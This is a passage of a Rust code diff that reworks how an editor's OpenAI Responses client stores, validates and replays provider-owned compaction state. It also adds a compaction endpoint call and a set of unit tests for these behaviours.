+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
         let serialized = serde_json::to_value(&response).unwrap();
 
         assert_eq!(
@@ -2804,7 +2909,7 @@ mod tests {
 
     #[test]
     fn responses_stream_failed_uses_response_error_message() {
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(ResponsesStreamEvent::Failed {
             response: ResponseSummary {
                 status: Some("failed".into()),
@@ -2836,7 +2941,7 @@ mod tests {
         }))
         .expect("documented error event");
 
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(event);
 
         assert_eq!(mapped.len(), 1);
@@ -2861,7 +2966,7 @@ mod tests {
         }))
         .expect("nested error event");
 
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(event);
 
         assert_eq!(mapped.len(), 1);
@@ -2886,7 +2991,7 @@ mod tests {
         }))
         .expect("nested error event");
 
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(event);
 
         assert_eq!(mapped.len(), 1);
@@ -2899,7 +3004,7 @@ mod tests {
 
     #[test]
     fn responses_stream_maps_failed_context_length_exceeded_to_prompt_too_large() {
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(ResponsesStreamEvent::Failed {
             response: ResponseSummary {
                 status: Some("failed".into()),
@@ -2931,7 +3036,7 @@ mod tests {
         }))
         .expect("response error event");
 
-        let mut mapper = OpenAiResponseEventMapper::new();
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
         let mapped = mapper.map_event(event);
 
         assert_eq!(mapped.len(), 1);
@@ -3994,6 +4099,128 @@ mod tests {
         }));
     }
 
+    #[test]
+    fn into_open_ai_response_prepends_provider_input_unchanged() {
+        let provider_input = json!([
+            {
+                "type": "message",
+                "role": "user",
+                "content": "Retained user context.",
+                "provider_extension": {"preserve": true}
+            },
+            {
+                "type": "compaction",
+                "id": "cmp_manual",
+                "encrypted_content": "opaque-state"
+            }
+        ]);
+        let request = LanguageModelRequest {
+            messages: vec![
+                LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![MessageContent::Compaction(CompactedContext::ProviderState(
+                        provider_compaction_state_from_items(
+                            OPEN_AI_PROVIDER_ID,
+                            provider_input.as_array().unwrap().clone(),
+                        )
+                        .unwrap(),
+                    ))],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Continue.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+            ],
+            ..Default::default()
+        };
+
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.4",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
+
+        assert_eq!(
+            serde_json::to_value(&response).unwrap()["input"],
+            json!([
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": "Retained user context.",
+                    "provider_extension": {"preserve": true}
+                },
+                {
+                    "type": "compaction",
+                    "id": "cmp_manual",
+                    "encrypted_content": "opaque-state"
+                },
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": [{"type": "input_text", "text": "Continue."}]
+                }
+            ])
+        );
+    }
+
+    #[test]
+    fn open_ai_response_converts_to_compact_request_with_supported_controls() {
+        let request = LanguageModelRequest {
+            thread_id: Some("thread-123".to_string()),
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::User,
+                content: vec![MessageContent::Text("Retain this context.".into())],
+                cache: false,
+                reasoning_details: None,
+            }],
+            speed: Some(Speed::Fast),
+            compact_at_tokens: Some(100_000),
+            ..Default::default()
+        };
+
+        let mut response_request = into_open_ai_response(
+            request,
+            "gpt-5.4",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
+        response_request.instructions = Some("Preserve implementation details.".to_string());
+        let compact_request = response_request.into_compact_request();
+
+        assert_eq!(
+            serde_json::to_value(compact_request).unwrap(),
+            json!({
+                "model": "gpt-5.4",
+                "instructions": "Preserve implementation details.",
+                "input": [{
+                    "type": "message",
+                    "role": "user",
+                    "content": [{
+                        "type": "input_text",
+                        "text": "Retain this context."
+                    }]
+                }],
+                "prompt_cache_key": "thread-123",
+                "service_tier": "priority"
+            })
+        );
+    }
+
     #[test]
     fn into_open_ai_response_maps_compact_at_tokens_to_context_management() {
         let request = LanguageModelRequest {
@@ -4007,7 +4234,17 @@ mod tests {
             ..Default::default()
         };
 
-        let response = into_open_ai_response(request, "gpt-5.1", true, true, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         assert_eq!(
             serde_json::to_value(&response).unwrap()["context_management"],
@@ -4027,7 +4264,17 @@ mod tests {
             ..Default::default()
         };
 
-        let response = into_open_ai_response(request, "gpt-5.1", true, true, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         assert!(
             serde_json::to_value(&response)
@@ -4038,15 +4285,21 @@ mod tests {
     }
 
     #[test]
-    fn into_open_ai_response_replays_encrypted_compaction_block() {
+    fn into_open_ai_response_replays_provider_compaction_block() {
+        let state = provider_compaction_state_from_items(
+            OPEN_AI_PROVIDER_ID,
+            vec![json!({
+                "type": "compaction",
+                "id": "cmp_1",
+                "encrypted_content": "encrypted-blob"
+            })],
+        )
+        .unwrap();
         let request = LanguageModelRequest {
             messages: vec![LanguageModelRequestMessage {
                 role: Role::Assistant,
                 content: vec![
-                    MessageContent::Compaction(CompactionContent::Encrypted {
-                        id: Some("cmp_1".into()),
-                        encrypted_content: "encrypted-blob".into(),
-                    }),
+                    MessageContent::Compaction(CompactedContext::ProviderState(state)),
                     MessageContent::Text("Done.".into()),
                 ],
                 cache: false,
@@ -4055,7 +4308,17 @@ mod tests {
             ..Default::default()
         };
 
-        let response = into_open_ai_response(request, "gpt-5.1", true, true, None, None, false);
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
 
         assert_eq!(
             serde_json::to_value(&response).unwrap()["input"],
@@ -4076,6 +4339,329 @@ mod tests {
         );
     }
 
+    #[test]
+    fn into_open_ai_response_hoists_system_messages_into_instructions() {
+        let request = LanguageModelRequest {
+            messages: vec![
+                LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("You are a coding assistant.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Hello.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("Prefer terse answers.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+            ],
+            ..Default::default()
+        };
+
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
+
+        let serialized = serde_json::to_value(&response).unwrap();
+        assert_eq!(
+            serialized["instructions"],
+            json!("You are a coding assistant.\n\nPrefer terse answers.")
+        );
+        assert_eq!(
+            serialized["input"],
+            json!([
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": [
+                        { "type": "input_text", "text": "Hello." }
+                    ]
+                }
+            ])
+        );
+    }
+
+    /// Replaying provider compaction state discards all input items
+    /// accumulated before it, but the system prompt must not be lost with
+    /// them: it lives in the per-request `instructions` field, outside the
+    /// compacted window, so the model keeps running on the current prompt
+    /// rather than whatever was frozen into the window at compaction time.
+    #[test]
+    fn into_open_ai_response_preserves_system_prompt_across_compaction_replay() {
+        let state = provider_compaction_state_from_items(
+            OPEN_AI_PROVIDER_ID,
+            vec![json!({
+                "type": "compaction",
+                "id": "cmp_1",
+                "encrypted_content": "encrypted-blob"
+            })],
+        )
+        .unwrap();
+        let request = LanguageModelRequest {
+            messages: vec![
+                LanguageModelRequestMessage {
+                    role: Role::System,
+                    content: vec![MessageContent::Text("Current system prompt.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Old context.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![MessageContent::Compaction(CompactedContext::ProviderState(
+                        state,
+                    ))],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Continue.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+            ],
+            ..Default::default()
+        };
+
+        let response = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap();
+
+        let serialized = serde_json::to_value(&response).unwrap();
+        assert_eq!(serialized["instructions"], json!("Current system prompt."));
+        assert_eq!(
+            serialized["input"],
+            json!([
+                {
+                    "type": "compaction",
+                    "id": "cmp_1",
+                    "encrypted_content": "encrypted-blob"
+                },
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": [
+                        { "type": "input_text", "text": "Continue." }
+                    ]
+                }
+            ])
+        );
+    }
+
+    #[test]
+    fn into_open_ai_response_rejects_malformed_provider_compaction_state() {
+        let request = LanguageModelRequest {
+            messages: vec![LanguageModelRequestMessage {
+                role: Role::Assistant,
+                content: vec![MessageContent::Compaction(CompactedContext::ProviderState(
+                    language_model_core::ProviderCompactionState::new(
+                        language_model_core::OPEN_AI_PROVIDER_ID,
+                        crate::responses::COMPACTION_STATE_FORMAT,
+                        "not valid JSON",
+                    ),
+                ))],
+                cache: false,
+                reasoning_details: None,
+            }],
+            ..Default::default()
+        };
+
+        let error = into_open_ai_response(
+            request,
+            "gpt-5.1",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &OPEN_AI_PROVIDER_ID,
+        )
+        .unwrap_err();
+
+        assert!(
+            error
+                .to_string()
+                .contains("malformed OpenAI compaction state payload")
+        );
+    }
+
+    #[test]
+    fn into_open_ai_response_ignores_compaction_state_owned_by_another_backend() {
+        // Several backends share this request conversion (OpenAI itself,
+        // OpenAI-compatible endpoints, Codex, Mantle), but an encrypted
+        // compaction item is only decryptable by the backend that produced
+        // it. Replaying OpenAI-owned state through a different backend would
+        // discard the entire transcript in exchange for an opaque blob that
+        // backend cannot read, so the state must be ignored and the full
+        // transcript replayed instead.
+        let state = provider_compaction_state_from_items(
+            OPEN_AI_PROVIDER_ID,
+            vec![json!({
+                "type": "compaction",
+                "id": "cmp_1",
+                "encrypted_content": "encrypted-blob"
+            })],
+        )
+        .unwrap();
+        let request = LanguageModelRequest {
+            messages: vec![
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Set up the project.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::Assistant,
+                    content: vec![
+                        MessageContent::Compaction(CompactedContext::ProviderState(state)),
+                        MessageContent::Text("Done.".into()),
+                    ],
+                    cache: false,
+                    reasoning_details: None,
+                },
+                LanguageModelRequestMessage {
+                    role: Role::User,
+                    content: vec![MessageContent::Text("Continue.".into())],
+                    cache: false,
+                    reasoning_details: None,
+                },
+            ],
+            ..Default::default()
+        };
+
+        let response = into_open_ai_response(
+            request,
+            "compatible-model",
+            true,
+            true,
+            None,
+            None,
+            false,
+            &LanguageModelProviderId::new("my-compatible-endpoint"),
+        )
+        .unwrap();
+
+        assert_eq!(
+            serde_json::to_value(&response).unwrap()["input"],
+            json!([
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": [{ "type": "input_text", "text": "Set up the project." }]
+                },
+                {
+                    "type": "message",
+                    "role": "assistant",
+                    "content": [
+                        { "type": "output_text", "text": "Done.", "annotations": [] }
+                    ]
+                },
+                {
+                    "type": "message",
+                    "role": "user",
+                    "content": [{ "type": "input_text", "text": "Continue." }]
+                }
+            ])
+        );
+    }
+
+    #[test]
+    fn responses_stream_stamps_compaction_state_with_owning_backend() {
+        let owner = LanguageModelProviderId::new("my-compatible-endpoint");
+        let mut mapper = OpenAiResponseEventMapper::new(owner.clone());
+        let item: ResponseOutputItem = serde_json::from_value(json!({
+            "type": "compaction",
+            "id": "cmp_1",
+            "encrypted_content": "encrypted-blob"
+        }))
+        .unwrap();
+
+        let mut events = mapper.map_event(ResponsesStreamEvent::OutputItemDone {
+            output_index: 0,
+            sequence_number: None,
+            item,
+        });
+
+        let Some(Ok(LanguageModelCompletionEvent::Compaction(CompactionUpdate::Finished(
+            CompactedContext::ProviderState(state),
+        )))) = events.pop()
+        else {
+            panic!("expected finished provider compaction state");
+        };
+        assert_eq!(state.provider_id(), &owner);
+        assert!(
+            crate::responses::provider_compaction_items(&state, &owner)
+                .unwrap()
+                .is_some()
+        );
+        // OpenAI proper must not attempt to replay a window produced by a
+        // different backend's infrastructure.
+        assert_eq!(
+            crate::responses::provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID).unwrap(),
+            None
+        );
+    }
+
+    #[test]
+    fn responses_stream_rejects_completion_with_unfinished_compaction() {
+        let mut mapper = OpenAiResponseEventMapper::new(OPEN_AI_PROVIDER_ID);
+        let item: ResponseOutputItem = serde_json::from_value(json!({
+            "type": "compaction",
+            "id": "cmp_1",
+            "encrypted_content": "encrypted-blob"
+        }))
+        .unwrap();
+
+        let started = mapper.map_event(ResponsesStreamEvent::OutputItemAdded {
+            output_index: 0,
+            sequence_number: None,
+            item,
+        });
+        assert!(matches!(
+            started.as_slice(),
+            [Ok(LanguageModelCompletionEvent::Compaction(
+                CompactionUpdate::Started
+            ))]
+        ));
+
+        let mut completed = mapper.map_event(ResponsesStreamEvent::Completed {
+            response: ResponseSummary::default(),
+        });
+        let error = completed.pop().unwrap().unwrap_err();
+
+        assert!(error.to_string().contains("unfinished compaction"));
+    }
+
     #[test]
     fn responses_stream_maps_compaction_output_item() {
         let item: ResponseOutputItem = serde_json::from_value(json!({
@@ -4102,11 +4688,20 @@ mod tests {
         assert_eq!(
             mapped,
             vec![
-                LanguageModelCompletionEvent::Compaction(CompactionContent::Pending),
-                LanguageModelCompletionEvent::Compaction(CompactionContent::Encrypted {
-                    id: Some("cmp_1".into()),
-                    encrypted_content: "encrypted-blob".into(),
-                }),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::Started),
+                LanguageModelCompletionEvent::Compaction(CompactionUpdate::Finished(
+                    CompactedContext::ProviderState(
+                        provider_compaction_state_from_items(
+                            OPEN_AI_PROVIDER_ID,
+                            vec![json!({
+                                "type": "compaction",
+                                "id": "cmp_1",
+                                "encrypted_content": "encrypted-blob"
+                            })],
+                        )
+                        .unwrap()
+                    )
+                )),
             ]
         );
     }
diff --git a/crates/open_ai/src/responses.rs b/crates/open_ai/src/responses.rs
index f508a2746057da..dc2d6e8decb523 100644
--- a/crates/open_ai/src/responses.rs
+++ b/crates/open_ai/src/responses.rs
@@ -1,21 +1,26 @@
-use anyhow::{Result, anyhow};
+use anyhow::{Context as _, Result, anyhow};
 use futures::{AsyncBufReadExt, AsyncReadExt, StreamExt, io::BufReader, stream::BoxStream};
 use http_client::{
     AsyncBody, CustomHeaders, HttpClient, Method, Request as HttpRequest, RequestBuilderExt,
 };
-use serde::{Deserialize, Serialize};
+use serde::{Deserialize, Serialize, ser::SerializeSeq as _};
 use serde_json::Value;
 use std::sync::Arc;
 
 use crate::{ReasoningEffort, RequestError, Role, ServiceTier, ToolChoice};
+use language_model_core::{
+    CompactedContext, LanguageModelProviderId, ProviderCompactionState, SharedString,
+};
+
+pub const COMPACTION_STATE_FORMAT: &str = "openai.responses.input-items.v1";
 
 #[derive(Serialize, Debug)]
 pub struct Request {
     pub model: String,
     #[serde(skip_serializing_if = "Option::is_none")]
     pub instructions: Option<String>,
-    #[serde(skip_serializing_if = "Vec::is_empty")]
-    pub input: Vec<ResponseInputItem>,
+    #[serde(skip_serializing_if = "ResponseInput::is_empty")]
+    pub input: ResponseInput,
     #[serde(skip_serializing_if = "Vec::is_empty")]
     pub include: Vec<ResponseIncludable>,
     #[serde(default)]
@@ -44,6 +49,158 @@ pub struct Request {
     pub context_management: Option<Vec<ContextManagement>>,
 }
 
+impl Request {
+    pub fn into_compact_request(self) -> CompactRequest {
+        CompactRequest {
+            model: self.model,
+            instructions: self.instructions,
+            input: self.input,
+            prompt_cache_key: self.prompt_cache_key,
+            service_tier: self.service_tier,
+        }
+    }
+}
+
+#[derive(Serialize, Debug)]
+pub struct CompactRequest {
+    pub model: String,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub instructions: Option<String>,
+    pub input: ResponseInput,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub prompt_cache_key: Option<String>,
+    #[serde(skip_serializing_if = "Option::is_none")]
+    pub service_tier: Option<ServiceTier>,
+}
+
+#[derive(Deserialize, Debug)]
+pub struct CompactedResponse {
+    pub id: String,
+    pub created_at: u64,
+    pub object: String,
+    pub output: Vec<Value>,
+    pub usage: ResponseUsage,
+}
+
+impl CompactedResponse {
+    pub fn into_compacted_context(
+        self,
+        owner: LanguageModelProviderId,
+    ) -> Result<CompactedContext> {
+        Ok(CompactedContext::ProviderState(
+            provider_compaction_state_from_items(owner, self.output)?,
+        ))
+    }
+}
+
+/// Packages a canonical replacement window into opaque provider state owned by
+/// `owner`.
+///
+/// Several backends speak the OpenAI Responses protocol (OpenAI itself, Zed
+/// Cloud's OpenAI models, OpenAI-compatible endpoints, and others), but their
+/// encrypted compaction items are not interchangeable: only the backend that
+/// produced an item can decrypt it. The owner recorded here is what
+/// [`provider_compaction_items`] later compares against, so it must identify
+/// the backend whose infrastructure produced the items, not merely the wire
+/// protocol.
+pub fn provider_compaction_state_from_items(
+    owner: LanguageModelProviderId,
+    items: Vec<Value>,
+) -> Result<ProviderCompactionState> {
+    validate_compaction_items(&items)?;
+    Ok(ProviderCompactionState::new(
+        owner,
+        SharedString::new_static(COMPACTION_STATE_FORMAT),
+        serde_json::to_string(&items)?,
+    ))
+}
+
+/// Recovers the canonical replacement window from `state` if it is owned by
+/// `owner`, or `None` when the state belongs to a different backend and the
+/// caller should fall back to replaying the full transcript.
+pub fn provider_compaction_items(
+    state: &ProviderCompactionState,
+    owner: &LanguageModelProviderId,
+) -> Result<Option<Vec<Value>>> {
+    if state.provider_id() != owner {
+        return Ok(None);
+    }
+    if state.format() != COMPACTION_STATE_FORMAT {
+        return Err(anyhow!(
+            "unsupported OpenAI compaction state format: {}",
+            state.format()
+        ));
+    }
+
+    let items = serde_json::from_str::<Vec<Value>>(state.payload())
+        .context("malformed OpenAI compaction state payload")?;
+    validate_compaction_items(&items)?;
+    Ok(Some(items))
+}
+
+fn validate_compaction_items(items: &[Value]) -> Result<()> {
+    if items.is_empty() {
+        return Err(anyhow!("OpenAI returned an empty compaction output"));
+    }
+    if !items.iter().any(|item| {
+        item.get("type")
+            .and_then(Value::as_str)
+            .is_some_and(|item_type| item_type == "compaction")
+    }) {
+        return Err(anyhow!(
+            "OpenAI compaction output did not contain a compaction item"
+        ));
+    }
+    Ok(())
+}
+
+#[derive(Debug, Default)]
+pub struct ResponseInput {
+    provider_items: Vec<Value>,
+    generated_items: Vec<ResponseInputItem>,
+}
+
+impl ResponseInput {
+    pub fn new(provider_items: Vec<Value>, generated_items: Vec<ResponseInputItem>) -> Self {
+        Self {
+            provider_items,
+            generated_items,
+        }
+    }
+
+    pub fn is_empty(&self) -> bool {
+        self.provider_items.is_empty() && self.generated_items.is_empty()
+    }
+
+    /// Filters only the items this crate generated from the request.
+    ///
+    /// Provider items are a canonical replacement window that must be replayed
+    /// verbatim, so they are exempt from filtering. Callers that rewrite the
+    /// input to satisfy backend-specific requirements (and therefore can't
+    /// tolerate arbitrary items inside a replayed window) should not accept
+    /// provider-native compaction state in the first place.
+    pub fn retain(&mut self, predicate: impl FnMut(&ResponseInputItem) -> bool) {
+        self.generated_items.retain(predicate);
+    }
+}
+
+impl Serialize for ResponseInput {
+    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
+    where
+        S: serde::Serializer,
+    {
+        let mut sequence = serializer
+            .serialize_seq(Some(self.provider_items.len() + self.generated_items.len()))?;
+        for item in &self.provider_items {
+            sequence.serialize_element(item)?;
+        }
+        for item in &self.generated_items {
+            sequence.serialize_element(item)?;
+        }
+        sequence.end()
+    }
+}
+
 /// Server-side context management configuration.
 ///
 /// <https://developers.openai.com/api/docs/guides/compaction>
@@ -546,6 +703,45 @@ pub struct ResponseCustomToolCall {
     pub input: String,
 }
 
+pub async fn compact_response(
+    client: &dyn HttpClient,
+    provider_name: &str,
+    api_url: &str,
+    api_key: &str,
+    request: CompactRequest,
+    extra_headers: &CustomHeaders,
+) -> Result<CompactedResponse, RequestError> {
+    let request = HttpRequest::builder()
+        .method(Method::POST)
+        .uri(format!("{api_url}/responses/compact"))
+        .header("Content-Type", "application/json")
+        .header("Authorization", format!("Bearer {}", api_key.trim()))
+        .extra_headers(extra_headers)
+        .body(AsyncBody::from(
+            serde_json::to_string(&request).map_err(|error| RequestError::Other(error.into()))?,
+        ))
+        .map_err(|error| RequestError::Other(error.into()))?;
+
+    let mut response = client.send(request).await?;
+    let mut body = String::new();
+    response
+        .body_mut()
+        .read_to_string(&mut body)
+        .await
+        .map_err(|error| RequestError::Other(error.into()))?;
+
+    if response.status().is_success() {
+        serde_json::from_str(&body).map_err(|error| RequestError::Other(error.into()))
+    } else {
+        Err(RequestError::HttpResponseError {
+            provider: provider_name.to_owned(),
+            status_code: response.status(),
+            body,
+            headers: response.headers().clone(),
+        })
+    }
+}
+
 pub async fn stream_response(
     client: &dyn HttpClient,
     provider_name: &str,
@@ -732,3 +928,337 @@ pub async fn stream_response(
         })
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use futures::executor::block_on;
+    use http_client::FakeHttpClient;
+    use language_model_core::OPEN_AI_PROVIDER_ID;
+    use serde_json::json;
+    use std::sync::{Arc, Mutex};
+
+    #[test]
+    fn compact_response_posts_supported_request_fields() {
+        let captured_request = Arc::new(Mutex::new(None));
+        let captured_request_for_handler = captured_request.clone();
+        let http_client = FakeHttpClient::create(move |request| {
+            let captured_request = captured_request_for_handler.clone();
+            async move {
+                let method = request.method().clone();
+                let uri = request.uri().to_string();
+                let authorization = request
+                    .headers()
+                    .get("Authorization")
+                    .and_then(|value| value.to_str().ok())
+                    .map(str::to_string);
+                let mut body = request.into_body();
+                let mut body_text = String::new();
+                body.read_to_string(&mut body_text).await?;
+                *captured_request.lock().unwrap() = Some((method, uri, authorization, body_text));
+
+                Ok(http_client::Response::builder()
+                    .status(200)
+                    .body(AsyncBody::from(
+                        json!({
+                            "id": "resp_compact",
+                            "created_at": 1_700_000_000,
+                            "object": "response.compaction",
+                            "output": [{
+                                "type": "compaction",
+                                "id": "cmp_manual",
+                                "encrypted_content": "opaque-state"
+                            }],
+                            "usage": {
+                                "input_tokens": 100,
+                                "input_tokens_details": {"cached_tokens": 20},
+                                "output_tokens": 10,
+                                "output_tokens_details": {"reasoning_tokens": 5},
+                                "total_tokens": 110
+                            }
+                        })
+                        .to_string(),
+                    ))?)
+            }
+        });
+        let response = block_on(compact_response(
+            http_client.as_ref(),
+            "OpenAI",
+            "https://api.openai.com/v1",
+            "secret",
+            compact_test_request(),
+            &CustomHeaders::default(),
+        ))
+        .unwrap();
+
+        assert_eq!(
+            provider_compaction_items(
+                &match response
+                    .into_compacted_context(OPEN_AI_PROVIDER_ID)
+                    .unwrap()
+                {
+                    CompactedContext::ProviderState(state) => state,
+                    CompactedContext::Summary { .. } => panic!("expected provider state"),
+                },
+                &OPEN_AI_PROVIDER_ID
+            )
+            .unwrap(),
+            Some(vec![json!({
+                "type": "compaction",
+                "id": "cmp_manual",
+                "encrypted_content": "opaque-state"
+            })])
+        );
+        let (method, uri, authorization, body) = captured_request.lock().unwrap().take().unwrap();
+        assert_eq!(method, Method::POST);
+        assert_eq!(uri, "https://api.openai.com/v1/responses/compact");
+        assert_eq!(authorization.as_deref(), Some("Bearer secret"));
+        assert_eq!(
+            serde_json::from_str::<Value>(&body).unwrap(),
+            json!({
+                "model": "gpt-5.4",
+                "input": [{
+                    "type": "message",
+                    "role": "user",
+                    "content": [{
+                        "type": "input_text",
+                        "text": "Retain this context."
+                    }]
+                }],
+                "prompt_cache_key": "thread-123",
+                "service_tier": "priority"
+            })
+        );
+    }
+
+    #[test]
+    fn compact_response_reports_http_and_deserialization_errors() {
+        let http_client = FakeHttpClient::create(|_| async move {
+            Ok(http_client::Response::builder()
+                .status(429)
+                .header("retry-after", "5")
+                .body(AsyncBody::from("rate limited"))?)
+        });
+
+        let error = block_on(compact_response(
+            http_client.as_ref(),
+            "OpenAI",
+            "https://api.openai.com/v1",
+            "secret",
+            compact_test_request(),
+            &CustomHeaders::default(),
+        ))
+        .unwrap_err();
+
+        match error {
+            RequestError::HttpResponseError {
+                provider,
+                status_code,
+                body,
+                headers,
+            } => {
+                assert_eq!(provider, "OpenAI");
+                assert_eq!(status_code, 429);
+                assert_eq!(body, "rate limited");
+                assert_eq!(headers["retry-after"], "5");
+            }
+            error => panic!("expected an HTTP response error, got {error:?}"),
+        }
+
+        let http_client = FakeHttpClient::create(|_| async move {
+            Ok(http_client::Response::builder()
+                .status(200)
+                .body(AsyncBody::from("not valid JSON"))?)
+        });
+
+        let error = block_on(compact_response(
+            http_client.as_ref(),
+            "OpenAI",
+            "https://api.openai.com/v1",
+            "secret",
+            compact_test_request(),
+            &CustomHeaders::default(),
+        ))
+        .unwrap_err();
+
+        assert!(
+            matches!(error, RequestError::Other(_)),
+            "expected malformed JSON to produce a request error, got {error:?}"
+        );
+    }
+
+    #[test]
+    fn compacted_response_preserves_canonical_output_items() {
+        let output = vec![
+            json!({
+                "type": "message",
+                "role": "user",
+                "content": "Retained user context.",
+                "provider_extension": {"preserve": true}
+            }),
+            json!({
+                "type": "compaction",
+                "id": "cmp_manual",
+                "encrypted_content": "opaque-state"
+            }),
+        ];
+        let response: CompactedResponse = serde_json::from_value(json!({
+            "id": "resp_compact",
+            "created_at": 1_700_000_000,
+            "object": "response.compaction",
+            "output": &output,
+            "usage": {
+                "input_tokens": 100,
+                "input_tokens_details": {"cached_tokens": 20},
+                "output_tokens": 10,
+                "output_tokens_details": {"reasoning_tokens": 5},
+                "total_tokens": 110
+            }
+        }))
+        .unwrap();
+
+        let CompactedContext::ProviderState(state) = response
+            .into_compacted_context(OPEN_AI_PROVIDER_ID)
+            .unwrap()
+        else {
+            panic!("expected provider state");
+        };
+        assert_eq!(
+            provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID).unwrap(),
+            Some(output)
+        );
+    }
+
+    #[test]
+    fn compacted_response_rejects_output_without_compaction_item() {
+        let response: CompactedResponse = serde_json::from_value(json!({
+            "id": "resp_compact",
+            "created_at": 1_700_000_000,
+            "object": "response.compaction",
+            "output": [{
+                "type": "message",
+                "role": "user",
+                "content": "Retained user context."
+            }],
+            "usage": {
+                "input_tokens": 100,
+                "input_tokens_details": {"cached_tokens": 20},
+                "output_tokens": 10,
+                "output_tokens_details": {"reasoning_tokens": 5},
+                "total_tokens": 110
+            }
+        }))
+        .unwrap();
+
+        assert!(
+            response
+                .into_compacted_context(OPEN_AI_PROVIDER_ID)
+                .unwrap_err()
+                .to_string()
+                .contains("compaction item")
+        );
+    }
+
+    #[test]
+    fn compacted_response_rejects_empty_output() {
+        let response: CompactedResponse = serde_json::from_value(json!({
+            "id": "resp_compact",
+            "created_at": 1_700_000_000,
+            "object": "response.compaction",
+            "output": [],
+            "usage": {
+                "input_tokens": 100,
+                "input_tokens_details": {"cached_tokens": 20},
+                "output_tokens": 10,
+                "output_tokens_details": {"reasoning_tokens": 5},
+                "total_tokens": 110
+            }
+        }))
+        .unwrap();
+
+        assert!(
+            response
+                .into_compacted_context(OPEN_AI_PROVIDER_ID)
+                .unwrap_err()
+                .to_string()
+                .contains("empty")
+        );
+    }
+
+    #[test]
+    fn provider_compaction_items_ignores_state_owned_by_another_provider() {
+        let items = vec![json!({
+            "type": "compaction",
+            "id": "cmp_manual",
+            "encrypted_content": "opaque-state"
+        })];
+        let state =
+            provider_compaction_state_from_items(OPEN_AI_PROVIDER_ID, items.clone()).unwrap();
+
+        assert_eq!(
+            provider_compaction_items(&state, &LanguageModelProviderId::new("anthropic")).unwrap(),
+            None
+        );
+
+        // The same window stamped for a different OpenAI-protocol backend is
+        // opaque to OpenAI proper: encrypted compaction items are only
+        // decryptable by the infrastructure that produced them.
+        let compatible_backend = LanguageModelProviderId::new("my-compatible-endpoint");
+        let state =
+            provider_compaction_state_from_items(compatible_backend.clone(), items).unwrap();
+        assert_eq!(
+            provider_compaction_items(&state, &OPEN_AI_PROVIDER_ID).unwrap(),
+            None
+        );
+        assert!(
+            provider_compaction_items(&state, &compatible_backend)
+                .unwrap()
+                .is_some()
+        );
+    }
+
